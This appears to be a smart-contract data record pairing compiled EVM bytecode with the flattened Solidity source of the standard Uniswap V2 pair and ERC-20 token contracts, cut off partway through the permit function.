000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e747261637429	608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032	// File: contracts/interfaces/IUniswapV2Pair.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: contracts/interfaces/IUniswapV2ERC20.sol pragma solidity >=0.5.0; interface IUniswapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } // File: contracts/libraries/SafeMath.sol pragma solidity =0.5.16; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 \|\| (z = x * y) / y == x, 'ds-math-mul-overflow'); } } // File: contracts/UniswapV2ERC20.sol pragma solidity =0.5.16; contract UniswapV2ERC20 is IUniswapV2ERC20 { using SafeMath for uint; string public constant name = 'Uniswap V2'; string public constant symbol = 'UNI-V2'; uint8 public constant decimals = 18; uint public totalSupply; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public nonces; event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); constructor() public { uint chainId; assembly { chainId := chainid } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this) ) ); } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } function permit(address owner, address spender, uint 